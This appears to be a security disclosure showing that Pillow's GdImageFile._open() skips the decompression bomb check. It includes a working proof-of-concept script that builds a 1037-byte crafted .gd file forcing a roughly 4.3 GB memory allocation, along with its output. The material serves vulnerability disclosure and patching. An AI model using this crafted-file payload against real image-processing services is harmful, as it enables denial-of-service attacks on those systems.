Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

 1def _open(self) -> None:
 2    s = self.fp.read(1037)
 3    if i16(s) not in [65534, 65535]:
 4        raise SyntaxError("Not a valid GD 2.x .gd file")
 5    self._mode = "P"
 6    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
 7    # NO _decompression_bomb_check() call here ←
 8    ...
 9    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

 1load() → load_prepare() → Image.core.new("P", (65535, 65535))
 2# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

 1# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
 2self._size = i32(header, 32), i32(header, 36)
 3Image._decompression_bomb_check(self.size)   # ← present

 1#!/usr/bin/env python3
 2"""
 3PoC: GdImageFile decompression bomb bypass
 41037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
 5"""
 6import io, struct
 7from PIL import GdImageFile, Image
 8 
 9# Build minimal 1037-byte GD 2.x palette-mode header:
10#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
11sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
12w            = struct.pack(">H", 65535)         # max width
13h            = struct.pack(">H", 65535)         # max height
14true_color   = b"\x00"                          # 0 = palette mode
15tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
16colors_used  = b"\x00\x00"
17palette_data = b"\x00" * 1024
18header = sig + w + h + true_color + tindex + colors_used + palette_data
19assert len(header) == 1037
20 
21# Confirm: standard Image.open() path BLOCKS this size
22try:
23    Image._decompression_bomb_check((65535, 65535))
24except Image.DecompressionBombError as e:
25    print(f"[BLOCKED] Image.open() path: {e}")
26 
27# Vulnerable path: GdImageFile.open() has NO bomb check
28img = GdImageFile.open(io.BytesIO(header))
29print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
30print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")
31 
32# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
33try:
34    img.load()
35except OSError:
36    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")
37 
38print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
39print(f"[MATH]   Attack file: 1,037 bytes only")

 1[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
 2pixels, could be decompression bomb DOS attack.
 3[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
 4         No _decompression_bomb_check called — 4.3 GB allocation not blocked
 5[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted
 6 
 7[MATH]   4,294,836,225 pixels = 24.0× error threshold
 8[MATH]   Attack file: 1,037 bytes only

 1from PIL import GdImageFile
 2 
 3# Application accepts user-uploaded .gd files
 4img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
 5img.load()                                    # triggers 4.3 GB C-heap allocation